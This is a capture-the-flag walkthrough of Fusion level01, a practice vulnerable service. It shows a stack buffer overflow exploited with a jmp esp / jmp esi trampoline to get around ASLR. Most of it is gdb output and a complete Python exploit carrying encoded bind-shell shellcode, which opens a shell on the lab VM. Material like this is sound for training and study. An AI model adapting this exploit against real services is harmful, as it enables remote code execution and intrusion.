Fusion level01

This level implements stack/heap/mmap ASLR but the stack is still executable:

The code provided is exactly the same but there is no info leak this time.

We start off overwriting EIP to crash the application and taking a look:

python -c 'print "GET " + "A"*139 + "DDDD" + " HTTP/1.1" + "\x90"*16 + "B"*80'| nc localhost 20001

Monitoring with gdb we get:

(gdb) attach 1521
Attaching to program: /opt/fusion/bin/level01, process 1521
Reading symbols from /lib/i386-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/libc-2.13.so...done.
done.
Loaded symbols for /lib/i386-linux-gnu/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
0xb7839424 in __kernel_vsyscall ()
(gdb) set follow-fork-mode child
(gdb) c
Continuing.
[New process 1584]

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 1584]
0x44444444 in ?? ()

Once it crashes, we take a look at the registers:

(gdb) i r
eax            0x1	1
ecx            0xb76b48d0	-1217705776
edx            0xbff7ff10	-1074266352
ebx            0xb782cff4	-1216163852
esp            0xbff7ff10	0xbff7ff10
ebp            0x41414141	0x41414141
esi            0xbff7ffc4	-1074266172
edi            0x8049ed1	134520529
eip            0x44444444	0x44444444
eflags         0x10246	[ PF ZF IF RF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51

And one by one, we see what is there. We find that esi is pointing to our NOP sled. how convenient!!

(gdb) x/30x $esi
0xbff7ffc4:	0x90909090	0x90909090	0x90909090	0x90909090
0xbff7ffd4:	0x42424242	0x42424242	0x42424242	0x42424242
0xbff7ffe4:	0x42424242	0x42424242	0x42424242	0x42424242
0xbff7fff4:	0x42424242	0x42424242	0x42424242	0x42424242
0xbff80004:	0x42424242	0x42424242	0x42424242	0x42424242
0xbff80014:	0x42424242	0x42424242	0x42424242	0x42424242
0xbff80024:	0x0000000a	0x00000000	0x00000000	0x00000000
0xbff80034:	0x00000000	0x00000000

So if we find the opcodes for jmp esi in .text we will be able to jump to our shellcode:

[email protected]:~$ /opt/metasploit-framework/msfelfscan -j esi /opt/fusion/bin/level01
[/opt/fusion/bin/level01]

No luck, but we can still use the “jmp esp” technique to jump to the address right after our return address and we can place a “jmp esi” there since we control it.

Lets look for the jmp esp opcodes:

[email protected]:~$ /opt/metasploit-framework/msfelfscan -j esp /opt/fusion/bin/level01
[/opt/fusion/bin/level01]
0x08049f4f jmp esp

Nice! now, the opcodes for “jmp esi” are “ff06”

So our exploit should look like:

#!/usr/bin/python

from socket import *
from struct import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("localhost", 20001))

shellcode = "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5f\x81\xef\xdf\xff\xff\xff\x57\x5e\x29\xc9\x80\xc1\xb8\x8a\x07\x2c\x41\xc0\xe0\x04\x47\x02\x07\x2c\x41\x88\x06\x46\x47\x49\xe2\xedDBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKBAFBFAIJOBLAGGMNIAEAIJEECEAEEDEDLAGGMNIAIDMEAMFCFCEDLAGGMNIAJDIJNBLADPMNIAEBIAPJADHFPGFCGIGOCPHDGIGICPCPGCGJIJODFCFDIJOBLAALMNIA"

ret = "\x4f\x9f\x04\x08" #jmp esp
jmpesi = "\x90\x90\x06\xff" # jmp esi opcodes
payload =  "GET " + "A"*139 + ret + jmpesi + " HTTP/1.1 " + "\x90"*16 +  shellcode
s.send(payload)
s.close()

Lets check it by setting a breakpoint just before “fix_path” ret opcode and reviewing the memory at that point:

(gdb) b *fix_path+63
Breakpoint 1 at 0x8049854: file level01/level01.c, line 9.
(gdb) c
Continuing.
[New process 1709]
[Switching to process 1709]

Breakpoint 1, 0x08049854 in fix_path (path=Cannot access memory at address 0x41414149
) at level01/level01.c:9
9	level01/level01.c: No such file or directory.
	in level01/level01.c
(gdb) x/x $esp
0xbff7ff0c:	0x08049f4f
(gdb) x/i 0x08049f4f
   0x8049f4f:	jmp    *%esp
(gdb) x/x $esp+4
0xbff7ff10:	0x9090e6ff
(gdb) x/i $esp+4
   0xbff7ff10:	jmp    *%esi
(gdb) x/30x $esi
0xbff7ffc8:	0x90909020	0x90909090	0x90909090	0x90909090
0xbff7ffd8:	0xeb02eb90	0xfff9e805	0x815fffff	0xffffdfef
0xbff7ffe8:	0x295e57ff	0xb8c180c9	0x412c078a	0x4704e0c0
0xbff7fff8:	0x412c0702	0x47460688	0x44ede249	0x46414d42
0xbff80008:	0x49414541	0x46444d4a	0x46414541	0x4f4a4941
0xbff80018:	0x47414c42	0x494e4d47	0x4e424441	0x47434643
0xbff80028:	0x42494747	0x45434e44	0x46474744	0x4f4a4944
0xbff80038:	0x424b4742	0x46424641

Oppps, with the new “jmp esi” opcodes in the payload, now esi points to a \x20 (space) so if we continue execution, it will segfault at 0xbff7ffc8:

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xbff7ffc8 in ?? ()

So lets remove the whitespace after “HTTP/1.1” to make our exploit work and run it again:

New payload:

ret = "\x4f\x9f\x04\x08" #jmp esp
jmpesi = "\xff\xe6\x90\x90" # jmp esi opcodes
payload =  "GET " + "A"*139 + ret + jmpesi + " HTTP/1.1" + "\x90"*16 +  shellcode
[email protected]:~$ python fusion01.py
[email protected]:~$ sudo netstat -natp | grep LISTEN
tcp        0      0 0.0.0.0:20002           0.0.0.0:*               LISTEN      1539/level02
tcp        0      0 0.0.0.0:20003           0.0.0.0:*               LISTEN      1533/level03
tcp        0      0 0.0.0.0:20004           0.0.0.0:*               LISTEN      1530/level04
tcp        0      0 0.0.0.0:20005           0.0.0.0:*               LISTEN      1527/level05
tcp        0      0 0.0.0.0:20006           0.0.0.0:*               LISTEN      1524/level06
tcp        0      0 0.0.0.0:20008           0.0.0.0:*               LISTEN      911/level08
tcp        0      0 0.0.0.0:5074            0.0.0.0:*               LISTEN      1737/level01
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      743/sshd
tcp        0      0 0.0.0.0:20000           0.0.0.0:*               LISTEN      1544/level00
tcp        0      0 0.0.0.0:20001           0.0.0.0:*               LISTEN      1521/level01
tcp6       0      0 :::22                   :::*                    LISTEN      743/sshd
[email protected]:~$ nc localhost 5074
id
uid=20001 gid=20001 groups=20001